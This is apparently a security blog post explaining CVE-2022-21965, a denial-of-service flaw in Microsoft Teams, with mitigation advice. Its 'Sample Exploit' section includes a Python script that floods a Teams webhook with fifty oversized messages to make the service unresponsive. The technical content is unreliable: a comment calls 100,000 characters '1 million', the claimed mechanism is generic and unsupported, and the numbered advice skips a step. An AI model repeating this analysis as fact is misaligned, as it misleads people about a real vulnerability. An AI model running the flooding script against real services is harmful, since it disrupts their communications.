CVE-2022-21965 is a Denial of Service (DoS) vulnerability found in Microsoft Teams, one of the most widely used collaboration and communications platforms. When exploited, this flaw could disrupt Teams operations, causing the service or app to become unresponsive or temporarily unavailable. In this post, we'll break down how this vulnerability works, explore code snippets to demonstrate its impact, and offer guidance on mitigation. We wrote this article in simple language to help both security professionals and everyday users understand the risk.

What Is a Denial of Service (DoS) Vulnerability?

A Denial of Service vulnerability is a security flaw that allows attackers to render an application or service unusable. Typically, this is done by flooding the target with requests, sending malformed data, or exploiting a bug that causes the app to crash or hang.

Details of CVE-2022-21965

Release Date: February 8, 2022
CVSS Score: 7.5 (High)
Impact: Temporary loss of access to Microsoft Teams
References:
- Microsoft Security Update Guide - CVE-2022-21965
- Patch Tuesday February 2022 Analysis (BleepingComputer)

How the Vulnerability Works

The flaw is rooted in how Teams handles specific types of data sent by users—like messages or file uploads. If an attacker sends a specially crafted message or payload to a Teams chat or meeting, it can trigger a process that consumes too much system memory or causes the Teams app/service to hang.

This is not a remote code execution issue. Attackers can't take control of the system, but they can effectively knock Teams offline for users temporarily.

Sample Exploit: How Attackers Might Abuse This

*Note: The following code is a simplified example for educational purposes and shouldn't be used for actual attacks. It shows how a malformed payload or repeated requests could cause Teams to become unresponsive.*

Python Script Example

Here’s how an attacker might automate sending rapidly repeated chat messages with oversized payloads to a Team channel, aiming to overwhelm the service:

import requests
import json

# This requires the attacker's valid Teams webhook URL (demo only)
webhook_url = 'https://outlook.office.com/webhook/YOUR_CHANNEL_WEBHOOK_URL';

# Oversized payload to stress-test Teams
malformed_message = {
    "text": "A" * 100000  # 1 million 'A's in the message
}

for _ in range(50):  # Send 50 oversized messages
    response = requests.post(webhook_url, data=json.dumps(malformed_message), headers={'Content-Type': 'application/json'})
    print("Sent message, status:", response.status_code)

Why does this work?

- Teams wasn’t properly restricting or validating the size/content of incoming messages in certain cases, leading to excessive memory use.

Real-World Impact

- Disruption of meetings and workflow: Teams may stop working for several users, cutting off communications during critical times.
- No data loss or takeovers: Attackers can't steal data or get control of devices using this vulnerability.
- Potential service downtime: For organizations relying on Teams, even temporary outages can hurt productivity.

How Microsoft Fixed It

Microsoft addressed CVE-2022-21965 in its February 2022 updates. The fix includes stricter checks on incoming message and file sizes, improved memory management, and rate limiting for incoming requests. After patching, malformed messages like the one in our example are rejected, and the system remains stable.

(See Microsoft’s official patch notes for technical details.)

How to Protect Yourself

1. Update Microsoft Teams: Always run the latest version of Teams app and keep your Office installations current.
2. Monitor for abuse: Watch for unusual activity such as repetitive large messages or service slowdowns.

Educate users: Make team members aware of phishing and spam tactics.

4. Use Teams admin policies: Restrict who can post messages in certain channels and limit access to webhooks.

Conclusion

CVE-2022-21965 is an example of how even trusted, everyday apps can have security gaps with significant business impact. By keeping software up-to-date and practicing good security hygiene, organizations and users can protect themselves from service interruptions like this one.

References

- Microsoft Security Update Guide - CVE-2022-21965
- BleepingComputer Patch Tuesday Report
- What is Denial of Service? (OWASP)

Feel free to share this article with your organization to raise awareness about CVE-2022-21965 and Microsoft Teams security!

Timeline

Published on: 02/09/2022 17:15:00 UTC
Last modified on: 02/14/2022 17:02:00 UTC